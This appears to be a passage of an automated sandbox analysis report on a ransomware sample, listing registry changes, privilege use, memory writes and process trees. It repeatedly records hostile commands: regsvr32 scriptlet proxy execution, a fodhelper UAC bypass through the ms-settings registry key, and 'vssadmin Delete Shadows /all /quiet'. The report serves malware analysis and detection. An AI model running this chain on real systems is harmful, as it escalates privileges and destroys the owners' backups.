Set value (str)	\REGISTRY\USER\S-1-5-21-1609746302-1884177235-1125644204-1000_Classes\ms-settings\shell\open\command\DelegateExecute	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-1609746302-1884177235-1125644204-1000_Classes\ms-settings\shell\open\command	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1609746302-1884177235-1125644204-1000_Classes\ms-settings\shell\open\command\DelegateExecute	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-1609746302-1884177235-1125644204-1000_Classes\ms-settings\shell\open\command	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1609746302-1884177235-1125644204-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\Content\CachePrefix	fodhelper.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1609746302-1884177235-1125644204-1000_Classes\ms-settings\shell\open\command\DelegateExecute	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-1609746302-1884177235-1125644204-1000_Classes\Local Settings\MrtCache	fodhelper.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1609746302-1884177235-1125644204-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	fodhelper.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1609746302-1884177235-1125644204-1000\{7C8DE64D-C29F-43EA-8037-9AA1F4A20A52}	msedge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1609746302-1884177235-1125644204-1000_Classes\ms-settings\shell\open\command\DelegateExecute	regsvr32.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
5172	msiexec.exe
5172	msiexec.exe
2004	q1e5i8mfqk25.exe
2004	q1e5i8mfqk25.exe
5992	q1e5i8mfqk25.exe
5992	q1e5i8mfqk25.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3252	Explorer.EXE

Suspicious behavior: MapViewOfSection 15 IoCs

pid	Process
5992	q1e5i8mfqk25.exe
5992	q1e5i8mfqk25.exe
5992	q1e5i8mfqk25.exe
5992	q1e5i8mfqk25.exe
5992	q1e5i8mfqk25.exe
5992	q1e5i8mfqk25.exe
5992	q1e5i8mfqk25.exe
5992	q1e5i8mfqk25.exe
5992	q1e5i8mfqk25.exe
5992	q1e5i8mfqk25.exe
5992	q1e5i8mfqk25.exe
5992	q1e5i8mfqk25.exe
5992	q1e5i8mfqk25.exe
5992	q1e5i8mfqk25.exe
5992	q1e5i8mfqk25.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 8 IoCs

pid	Process
404	msedge.exe
404	msedge.exe
404	msedge.exe
404	msedge.exe
404	msedge.exe
404	msedge.exe
404	msedge.exe
404	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	1112	msiexec.exe
Token: SeIncreaseQuotaPrivilege	1112	msiexec.exe
Token: SeSecurityPrivilege	5172	msiexec.exe
Token: SeCreateTokenPrivilege	1112	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	1112	msiexec.exe
Token: SeLockMemoryPrivilege	1112	msiexec.exe
Token: SeIncreaseQuotaPrivilege	1112	msiexec.exe
Token: SeMachineAccountPrivilege	1112	msiexec.exe
Token: SeTcbPrivilege	1112	msiexec.exe
Token: SeSecurityPrivilege	1112	msiexec.exe
Token: SeTakeOwnershipPrivilege	1112	msiexec.exe
Token: SeLoadDriverPrivilege	1112	msiexec.exe
Token: SeSystemProfilePrivilege	1112	msiexec.exe
Token: SeSystemtimePrivilege	1112	msiexec.exe
Token: SeProfSingleProcessPrivilege	1112	msiexec.exe
Token: SeIncBasePriorityPrivilege	1112	msiexec.exe
Token: SeCreatePagefilePrivilege	1112	msiexec.exe
Token: SeCreatePermanentPrivilege	1112	msiexec.exe
Token: SeBackupPrivilege	1112	msiexec.exe
Token: SeRestorePrivilege	1112	msiexec.exe
Token: SeShutdownPrivilege	1112	msiexec.exe
Token: SeDebugPrivilege	1112	msiexec.exe
Token: SeAuditPrivilege	1112	msiexec.exe
Token: SeSystemEnvironmentPrivilege	1112	msiexec.exe
Token: SeChangeNotifyPrivilege	1112	msiexec.exe
Token: SeRemoteShutdownPrivilege	1112	msiexec.exe
Token: SeUndockPrivilege	1112	msiexec.exe
Token: SeSyncAgentPrivilege	1112	msiexec.exe
Token: SeEnableDelegationPrivilege	1112	msiexec.exe
Token: SeManageVolumePrivilege	1112	msiexec.exe
Token: SeImpersonatePrivilege	1112	msiexec.exe
Token: SeCreateGlobalPrivilege	1112	msiexec.exe
Token: SeBackupPrivilege	3660	vssvc.exe
Token: SeRestorePrivilege	3660	vssvc.exe
Token: SeAuditPrivilege	3660	vssvc.exe
Token: SeBackupPrivilege	5172	msiexec.exe
Token: SeRestorePrivilege	5172	msiexec.exe
Token: SeRestorePrivilege	5172	msiexec.exe
Token: SeTakeOwnershipPrivilege	5172	msiexec.exe
Token: SeRestorePrivilege	5172	msiexec.exe
Token: SeTakeOwnershipPrivilege	5172	msiexec.exe
Token: SeTakeOwnershipPrivilege	3676	StartMenuExperienceHost.exe
Token: SeRestorePrivilege	3676	StartMenuExperienceHost.exe
Token: SeTakeOwnershipPrivilege	1868	TextInputHost.exe
Token: SeRestorePrivilege	1868	TextInputHost.exe
Token: SeBackupPrivilege	5296	srtasks.exe
Token: SeRestorePrivilege	5296	srtasks.exe
Token: SeSecurityPrivilege	5296	srtasks.exe
Token: SeTakeOwnershipPrivilege	5296	srtasks.exe
Token: SeBackupPrivilege	5296	srtasks.exe
Token: SeRestorePrivilege	5296	srtasks.exe
Token: SeSecurityPrivilege	5296	srtasks.exe
Token: SeTakeOwnershipPrivilege	5296	srtasks.exe
Token: SeTakeOwnershipPrivilege	3676	StartMenuExperienceHost.exe
Token: SeRestorePrivilege	3676	StartMenuExperienceHost.exe
Token: SeTakeOwnershipPrivilege	1868	TextInputHost.exe
Token: SeRestorePrivilege	1868	TextInputHost.exe
Token: SeShutdownPrivilege	3252	Explorer.EXE
Token: SeCreatePagefilePrivilege	3252	Explorer.EXE
Token: SeTakeOwnershipPrivilege	1540	cmd.exe
Token: SeRestorePrivilege	1540	cmd.exe
Token: SeShutdownPrivilege	3252	Explorer.EXE
Token: SeCreatePagefilePrivilege	3252	Explorer.EXE
Token: SeTakeOwnershipPrivilege	2836	cmd.exe

Suspicious use of FindShellTrayWindow 3 IoCs

pid	Process
1112	msiexec.exe
1112	msiexec.exe
404	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5172 wrote to memory of 5296	5172	msiexec.exe	91
PID 5172 wrote to memory of 2872	5172	msiexec.exe	93
PID 2872 wrote to memory of 5992	2872	MsiExec.exe	95
PID 1624 wrote to memory of 2520	1624	sihost.exe	96
PID 2660 wrote to memory of 4492	2660	svchost.exe	97
PID 3396 wrote to memory of 3192	3396	svchost.exe	100
PID 1008 wrote to memory of 3352	1008	taskhostw.exe	98
PID 3252 wrote to memory of 2232	3252	Explorer.EXE	99
PID 3584 wrote to memory of 2072	3584	DllHost.exe	101
PID 3740 wrote to memory of 3012	3740	RuntimeBroker.exe	102
PID 3676 wrote to memory of 4636	3676	StartMenuExperienceHost.exe	103
PID 4072 wrote to memory of 3248	4072	RuntimeBroker.exe	104
PID 4640 wrote to memory of 1576	4640	RuntimeBroker.exe	105
PID 1868 wrote to memory of 5848	1868	TextInputHost.exe	106
PID 1112 wrote to memory of 552	1112	msiexec.exe	107
PID 5708 wrote to memory of 5516	5708	RuntimeBroker.exe	108
PID 2872 wrote to memory of 1532	2872	MsiExec.exe	109
PID 5992 wrote to memory of 1528	5992	q1e5i8mfqk25.exe	110
PID 5992 wrote to memory of 5652	5992	q1e5i8mfqk25.exe	113
PID 3676 wrote to memory of 1540	3676	StartMenuExperienceHost.exe	116
PID 1868 wrote to memory of 2836	1868	TextInputHost.exe	120
PID 2660 wrote to memory of 5756	2660	svchost.exe	118
PID 3396 wrote to memory of 5616	3396	svchost.exe	119
PID 3252 wrote to memory of 4256	3252	Explorer.EXE	124
PID 1112 wrote to memory of 5956	1112	msiexec.exe	127
PID 3740 wrote to memory of 2976	3740	RuntimeBroker.exe	129
PID 1008 wrote to memory of 1352	1008	taskhostw.exe	130
PID 3584 wrote to memory of 4964	3584	DllHost.exe	125
PID 4640 wrote to memory of 2384	4640	RuntimeBroker.exe	134
PID 1624 wrote to memory of 2704	1624	sihost.exe	126
PID 5652 wrote to memory of 2800	5652	cmd.exe	138
PID 4072 wrote to memory of 5208	4072	RuntimeBroker.exe	139
PID 2872 wrote to memory of 1620	2872	MsiExec.exe	141
PID 1540 wrote to memory of 3852	1540	cmd.exe	143
PID 5756 wrote to memory of 4984	5756	cmd.exe	144
PID 4256 wrote to memory of 5340	4256	cmd.exe	145
PID 5616 wrote to memory of 1252	5616	cmd.exe	146
PID 2836 wrote to memory of 4160	2836	cmd.exe	147
PID 1352 wrote to memory of 1496	1352	cmd.exe	148
PID 2384 wrote to memory of 4272	2384	cmd.exe	149
PID 5956 wrote to memory of 5684	5956	cmd.exe	150
PID 4964 wrote to memory of 3060	4964	cmd.exe	151
PID 2704 wrote to memory of 3844	2704	cmd.exe	152
PID 5208 wrote to memory of 4088	5208	cmd.exe	153
PID 2976 wrote to memory of 3228	2976	cmd.exe	154
PID 1620 wrote to memory of 5408	1620	cmd.exe	155
PID 2800 wrote to memory of 6136	2800	fodhelper.exe	156
PID 6136 wrote to memory of 3944	6136	regsvr32.exe	157
PID 5340 wrote to memory of 1216	5340	fodhelper.exe	159
PID 1252 wrote to memory of 204	1252	fodhelper.exe	160
PID 4984 wrote to memory of 5524	4984	fodhelper.exe	161
PID 4272 wrote to memory of 4516	4272	fodhelper.exe	162
PID 1496 wrote to memory of 5984	1496	fodhelper.exe	163
PID 3060 wrote to memory of 5004	3060	fodhelper.exe	164
PID 5684 wrote to memory of 1676	5684	fodhelper.exe	165
PID 4088 wrote to memory of 3220	4088	fodhelper.exe	166
PID 1216 wrote to memory of 5848	1216	regsvr32.exe	168
PID 3844 wrote to memory of 2508	3844	fodhelper.exe	167
PID 3228 wrote to memory of 4896	3228	fodhelper.exe	169
PID 204 wrote to memory of 5384	204	regsvr32.exe	171
PID 5408 wrote to memory of 4872	5408	fodhelper.exe	172
PID 5524 wrote to memory of 4748	5524	regsvr32.exe	174
PID 4516 wrote to memory of 3160	4516	regsvr32.exe	176
PID 5984 wrote to memory of 692	5984	regsvr32.exe	178

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\sihost.exe
sihost.exe
1⤵
- Suspicious use of WriteProcessMemory
PID:1624
- C:\Windows\system32\regsvr32.exe
  regsvr32.exe scrobj.dll /s /u /n /i:../../../Users/Public/x9au7i1
  2⤵
  - System Binary Proxy Execution: Regsvr32
  - Modifies registry class
  PID:2520
- C:\Windows\system32\cmd.exe
  cmd /c "start fodhelper.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2704
- - C:\Windows\system32\fodhelper.exe
    fodhelper.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3844
  - - C:\Windows\system32\regsvr32.exe
      "regsvr32.exe" scrobj.dll /s /u /n /i:../../../Users/Public/hq81v2j71h5t
      4⤵
      System Binary Proxy Execution: Regsvr32
      PID:2508
    - - C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" Delete Shadows /all /quiet
        5⤵
        Interacts with shadow copies
        
        PID:3656
- C:\Windows\system32\cmd.exe
  cmd /c "start fodhelper.exe"
  2⤵
  PID:2556
- - C:\Windows\system32\fodhelper.exe
    fodhelper.exe
    3⤵
    PID:5612
  - - C:\Windows\system32\regsvr32.exe
      "regsvr32.exe" scrobj.dll /s /u /n /i:../../../Users/Public/hq81v2j71h5t
      4⤵
      System Binary Proxy Execution: Regsvr32
      PID:2248
    - - C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" Delete Shadows /all /quiet
        5⤵
        Interacts with shadow copies
        
        PID:3728

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
- Suspicious use of WriteProcessMemory
PID:2660
- C:\Windows\system32\regsvr32.exe
  regsvr32.exe scrobj.dll /s /u /n /i:../../../Users/Public/x9au7i1
  2⤵
  - System Binary Proxy Execution: Regsvr32
  - Modifies registry class
  PID:4492
- C:\Windows\system32\cmd.exe
  cmd /c "start fodhelper.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5756
- - C:\Windows\system32\fodhelper.exe
    fodhelper.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4984
  - - C:\Windows\system32\regsvr32.exe
      "regsvr32.exe" scrobj.dll /s /u /n /i:../../../Users/Public/hq81v2j71h5t
      4⤵
      System Binary Proxy Execution: Regsvr32
      Suspicious use of WriteProcessMemory
      PID:5524
    - - C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" Delete Shadows /all /quiet
        5⤵
        Interacts with shadow copies
        
        PID:4748
- C:\Windows\system32\cmd.exe
  cmd /c "start fodhelper.exe"
  2⤵
  PID:3416
- - C:\Windows\system32\fodhelper.exe
    fodhelper.exe
    3⤵
    PID:3352
  - - C:\Windows\system32\regsvr32.exe
      "regsvr32.exe" scrobj.dll /s /u /n /i:../../../Users/Public/hq81v2j71h5t
      4⤵
      System Binary Proxy Execution: Regsvr32
      PID:3528
    - - C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" Delete Shadows /all /quiet
        5⤵
        Interacts with shadow copies
        
        PID:4556

C:\Windows\system32\taskhostw.exe
taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
1⤵
- Suspicious use of WriteProcessMemory
PID:1008
- C:\Windows\system32\regsvr32.exe
  regsvr32.exe scrobj.dll /s /u /n /i:../../../Users/Public/x9au7i1
  2⤵
  - System Binary Proxy Execution: Regsvr32
  - Modifies registry class
  PID:3352
- C:\Windows\system32\cmd.exe
  cmd /c "start fodhelper.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1352
- - C:\Windows\system32\fodhelper.exe
    fodhelper.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1496
  - - C:\Windows\system32\regsvr32.exe
      "regsvr32.exe" scrobj.dll /s /u /n /i:../../../Users/Public/hq81v2j71h5t
      4⤵
      System Binary Proxy Execution: Regsvr32
      Suspicious use of WriteProcessMemory
      PID:5984
    - - C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" Delete Shadows /all /quiet
        5⤵
        Interacts with shadow copies
        
        PID:692
- C:\Windows\system32\cmd.exe
  cmd /c "start fodhelper.exe"
  2⤵
  PID:1824
- - C:\Windows\system32\fodhelper.exe
    fodhelper.exe
    3⤵
    PID:572
  - - C:\Windows\system32\regsvr32.exe
      "regsvr32.exe" scrobj.dll /s /u /n /i:../../../Users/Public/hq81v2j71h5t
      4⤵
      System Binary Proxy Execution: Regsvr32
      PID:1396
    - - C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" Delete Shadows /all /quiet
        5⤵
        Interacts with shadow copies
        
        PID:636

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3252
- C:\Windows\system32\msiexec.exe
  msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\0e65657740d7f06acda53b7d3190f9728801b984d5bd6ccb0b865d218ae71f66.msi
  2⤵
  - Badlisted process makes network request
  - Enumerates connected drives
  - Event Triggered Execution: Installer Packages
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:1112
- - C:\Windows\system32\regsvr32.exe
    regsvr32.exe scrobj.dll /s /u /n /i:../../../Users/Public/x9au7i1
    3⤵
    - System Binary Proxy Execution: Regsvr32
    PID:552
- - C:\Windows\system32\cmd.exe
    cmd /c "start fodhelper.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5956
  - - C:\Windows\system32\fodhelper.exe
      fodhelper.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:5684
    - - C:\Windows\system32\regsvr32.exe
        
        "regsvr32.exe" scrobj.dll /s /u /n /i:../../../Users/Public/hq81v2j71h5t
        5⤵
        System Binary Proxy Execution: Regsvr32
        
        PID:1676
- - C:\Windows\system32\cmd.exe
    cmd /c "start fodhelper.exe"
    3⤵
    PID:5924
  - - C:\Windows\system32\fodhelper.exe
      fodhelper.exe
      4⤵
      PID:5664
    - - C:\Windows\system32\regsvr32.exe
        
        "regsvr32.exe" scrobj.dll /s /u /n /i:../../../Users/Public/hq81v2j71h5t
        5⤵
        System Binary Proxy Execution: Regsvr32
        
        PID:3596
- C:\Windows\system32\regsvr32.exe
  regsvr32.exe scrobj.dll /s /u /n /i:../../../Users/Public/x9au7i1
  2⤵
  - System Binary Proxy Execution: Regsvr32
  - Modifies registry class
  PID:2232
- C:\Windows\system32\cmd.exe
  cmd /c "start fodhelper.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4256
- - C:\Windows\system32\fodhelper.exe
    fodhelper.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5340
  - - C:\Windows\system32\regsvr32.exe
      "regsvr32.exe" scrobj.dll /s /u /n /i:../../../Users/Public/hq81v2j71h5t
      4⤵
      System Binary Proxy Execution: Regsvr32
      Suspicious use of WriteProcessMemory
      PID:1216
    - - C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" Delete Shadows /all /quiet
        5⤵
        Interacts with shadow copies
        
        PID:5848
- C:\Windows\system32\cmd.exe
  cmd /c "start fodhelper.exe"
  2⤵
  PID:3948
- - C:\Windows\system32\fodhelper.exe
    fodhelper.exe
    3⤵
    PID:2972
  - - C:\Windows\system32\regsvr32.exe
      "regsvr32.exe" scrobj.dll /s /u /n /i:../../../Users/Public/hq81v2j71h5t
      4⤵
      System Binary Proxy Execution: Regsvr32
      PID:2176
    - - C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" Delete Shadows /all /quiet
        5⤵
        Interacts with shadow copies
        
        PID:2748

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
- Suspicious use of WriteProcessMemory
PID:3396
- C:\Windows\system32\regsvr32.exe
  regsvr32.exe scrobj.dll /s /u /n /i:../../../Users/Public/x9au7i1
  2⤵
  - System Binary Proxy Execution: Regsvr32
  - Modifies registry class
  PID:3192
- C:\Windows\system32\cmd.exe
  cmd /c "start fodhelper.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5616
- - C:\Windows\system32\fodhelper.exe
    fodhelper.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1252
  - - C:\Windows\system32\regsvr32.exe
      "regsvr32.exe" scrobj.dll /s /u /n /i:../../../Users/Public/hq81v2j71h5t
      4⤵
      System Binary Proxy Execution: Regsvr32
      Suspicious use of WriteProcessMemory
      PID:204
    - - C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" Delete Shadows /all /quiet
        5⤵
        Interacts with shadow copies
        
        PID:5384
- C:\Windows\system32\cmd.exe
  cmd /c "start fodhelper.exe"
  2⤵
  PID:5544
- - C:\Windows\system32\fodhelper.exe
    fodhelper.exe
    3⤵
    PID:4752
  - - C:\Windows\system32\regsvr32.exe
      "regsvr32.exe" scrobj.dll /s /u /n /i:../../../Users/Public/hq81v2j71h5t
      4⤵
      System Binary Proxy Execution: Regsvr32
      PID:2300
    - - C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" Delete Shadows /all /quiet
        5⤵
        Interacts with shadow copies
        
        PID:4744

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
- Suspicious use of WriteProcessMemory
PID:3584
- C:\Windows\SYSTEM32\regsvr32.exe
  regsvr32.exe scrobj.dll /s /u /n /i:../../../Users/Public/x9au7i1
  2⤵
  - System Binary Proxy Execution: Regsvr32
  - Modifies registry class
  PID:2072
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c "start fodhelper.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4964
- - C:\Windows\system32\fodhelper.exe
    fodhelper.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3060
  - - C:\Windows\system32\regsvr32.exe
      "regsvr32.exe" scrobj.dll /s /u /n /i:../../../Users/Public/hq81v2j71h5t
      4⤵
      System Binary Proxy Execution: Regsvr32
      PID:5004
    - - C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" Delete Shadows /all /quiet
        5⤵
        Interacts with shadow copies
        
        PID:5980
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c "start fodhelper.exe"
  2⤵
  PID:272
- - C:\Windows\system32\fodhelper.exe
    fodhelper.exe
    3⤵
    PID:4552
  - - C:\Windows\system32\regsvr32.exe
      "regsvr32.exe" scrobj.dll /s /u /n /i:../../../Users/Public/hq81v2j71h5t
      4⤵
      System Binary Proxy Execution: Regsvr32
      PID:2524
    - - C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" Delete Shadows /all /quiet
        5⤵
        Interacts with shadow copies
        
        PID:6012

C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3676
- C:\Windows\system32\regsvr32.exe
  regsvr32.exe scrobj.dll /s /u /n /i:../../../Users/Public/x9au7i1
  2⤵
  - System Binary Proxy Execution: Regsvr32
  PID:4636
- C:\Windows\system32\cmd.exe
  cmd /c "start fodhelper.exe"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1540
- - C:\Windows\system32\fodhelper.exe
    fodhelper.exe
    3⤵
    - Modifies registry class
    PID:3852
- C:\Windows\system32\cmd.exe
  cmd /c "start fodhelper.exe"
  2⤵
  PID:1896
- - C:\Windows\system32\fodhelper.exe
    fodhelper.exe
    3⤵
    - Modifies registry class
    PID:2036

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
- Suspicious use of WriteProcessMemory
PID:3740
- C:\Windows\System32\regsvr32.exe
  regsvr32.exe scrobj.dll /s /u /n /i:../../../Users/Public/x9au7i1
  2⤵
  - System Binary Proxy Execution: Regsvr32
  - Modifies registry class
  PID:3012
- C:\Windows\System32\cmd.exe
  cmd /c "start fodhelper.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2976
- - C:\Windows\system32\fodhelper.exe
    fodhelper.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3228
  - - C:\Windows\system32\regsvr32.exe
      "regsvr32.exe" scrobj.dll /s /u /n /i:../../../Users/Public/hq81v2j71h5t
      4⤵
      System Binary Proxy Execution: Regsvr32
      PID:4896
    - - C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" Delete Shadows /all /quiet
        5⤵
        Interacts with shadow copies
        
        PID:5688
- C:\Windows\System32\cmd.exe
  cmd /c "start fodhelper.exe"
  2⤵
  PID:4460
- - C:\Windows\system32\fodhelper.exe
    fodhelper.exe
    3⤵
    PID:3972
  - - C:\Windows\system32\regsvr32.exe
      "regsvr32.exe" scrobj.dll /s /u /n /i:../../../Users/Public/hq81v2j71h5t
      4⤵
      System Binary Proxy Execution: Regsvr32
      PID:3288
    - - C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" Delete Shadows /all /quiet
        5⤵
        Interacts with shadow copies
        
        PID:5056

C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
"C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
1⤵
PID:3812

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
- Suspicious use of WriteProcessMemory
PID:4072
- C:\Windows\System32\regsvr32.exe
  regsvr32.exe scrobj.dll /s /u /n /i:../../../Users/Public/x9au7i1
  2⤵
  - System Binary Proxy Execution: Regsvr32
  - Modifies registry class
  PID:3248
- C:\Windows\System32\cmd.exe
  cmd /c "start fodhelper.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5208
- - C:\Windows\system32\fodhelper.exe
    fodhelper.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4088
  - - C:\Windows\system32\regsvr32.exe
      "regsvr32.exe" scrobj.dll /s /u /n /i:../../../Users/Public/hq81v2j71h5t
      4⤵
      System Binary Proxy Execution: Regsvr32
      PID:3220
    - - C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" Delete Shadows /all /quiet
        5⤵
        Interacts with shadow copies
        
        PID:1104
- C:\Windows\System32\cmd.exe
  cmd /c "start fodhelper.exe"
  2⤵
  PID:3880
- - C:\Windows\system32\fodhelper.exe
    fodhelper.exe
    3⤵
    PID:396
  - - C:\Windows\system32\regsvr32.exe
      "regsvr32.exe" scrobj.dll /s /u /n /i:../../../Users/Public/hq81v2j71h5t
      4⤵
      System Binary Proxy Execution: Regsvr32
      PID:3068
    - - C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" Delete Shadows /all /quiet
        5⤵
        Interacts with shadow copies
        
        PID:268

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
- Suspicious use of WriteProcessMemory
PID:4640
- C:\Windows\System32\regsvr32.exe
  regsvr32.exe scrobj.dll /s /u /n /i:../../../Users/Public/x9au7i1
  2⤵
  - System Binary Proxy Execution: Regsvr32
  - Modifies registry class
  PID:1576
- C:\Windows\System32\cmd.exe
  cmd /c "start fodhelper.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2384
- - C:\Windows\system32\fodhelper.exe
    fodhelper.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4272
  - - C:\Windows\system32\regsvr32.exe
      "regsvr32.exe" scrobj.dll /s /u /n /i:../../../Users/Public/hq81v2j71h5t
      4⤵
      System Binary Proxy Execution: Regsvr32
      Suspicious use of WriteProcessMemory
      PID:4516
    - - C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" Delete Shadows /all /quiet
        5⤵
        Interacts with shadow copies
        
        PID:3160
- C:\Windows\System32\cmd.exe
  cmd /c "start fodhelper.exe"
  2⤵
  PID:3732
- - C:\Windows\system32\fodhelper.exe
    fodhelper.exe
    3⤵
    PID:5444
  - - C:\Windows\system32\regsvr32.exe
      "regsvr32.exe" scrobj.dll /s /u /n /i:../../../Users/Public/hq81v2j71h5t
      4⤵
      System Binary Proxy Execution: Regsvr32
      PID:5232
    - - C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" Delete Shadows /all /quiet
        5⤵
        Interacts with shadow copies
        
        PID:5788

C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\InputApp\TextInputHost.exe
"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\InputApp\TextInputHost.exe" -ServerName:InputApp.AppX9jnwykgrccxc8by3hsrsh07r423xzvav.mca
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1868
- C:\Windows\system32\regsvr32.exe
  regsvr32.exe scrobj.dll /s /u /n /i:../../../Users/Public/x9au7i1
  2⤵
  - System Binary Proxy Execution: Regsvr32
  PID:5848
- C:\Windows\system32\cmd.exe
  cmd /c "start fodhelper.exe"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2836
- - C:\Windows\system32\fodhelper.exe
    fodhelper.exe
    3⤵
    - Modifies registry class
    PID:4160
- C:\Windows\system32\cmd.exe
  cmd /c "start fodhelper.exe"
  2⤵
  PID:6128
- - C:\Windows\system32\fodhelper.exe
    fodhelper.exe
    3⤵
    - Modifies registry class
    PID:4880

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
- Suspicious use of WriteProcessMemory
PID:5708
- C:\Windows\System32\regsvr32.exe
  regsvr32.exe scrobj.dll /s /u /n /i:../../../Users/Public/x9au7i1
  2⤵
  - System Binary Proxy Execution: Regsvr32
  - Modifies registry class
  PID:5516

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
